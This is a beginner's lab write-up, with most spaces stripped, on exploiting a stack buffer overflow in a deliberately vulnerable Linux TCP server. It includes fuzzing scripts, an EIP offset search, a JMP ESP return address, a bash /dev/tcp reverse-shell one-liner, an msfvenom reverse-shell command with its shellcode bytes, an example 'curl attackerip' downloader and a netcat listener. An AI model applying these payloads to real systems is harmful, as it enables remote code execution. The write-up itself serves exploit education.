The lea instruction places the address specified by its second operand into the register specified by its first operand Note the

contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for

obtainingapointerintoamemoryregion

Syntax

lealtreg32gtltmemgt

Examples

leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI

leaeax[var]mdashthevalueinvarisplacedinEAX

leaeax[val]mdashthevaluevalisplacedinEAX

In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So

letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized

everythingquitenicely

On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math

function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob

maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

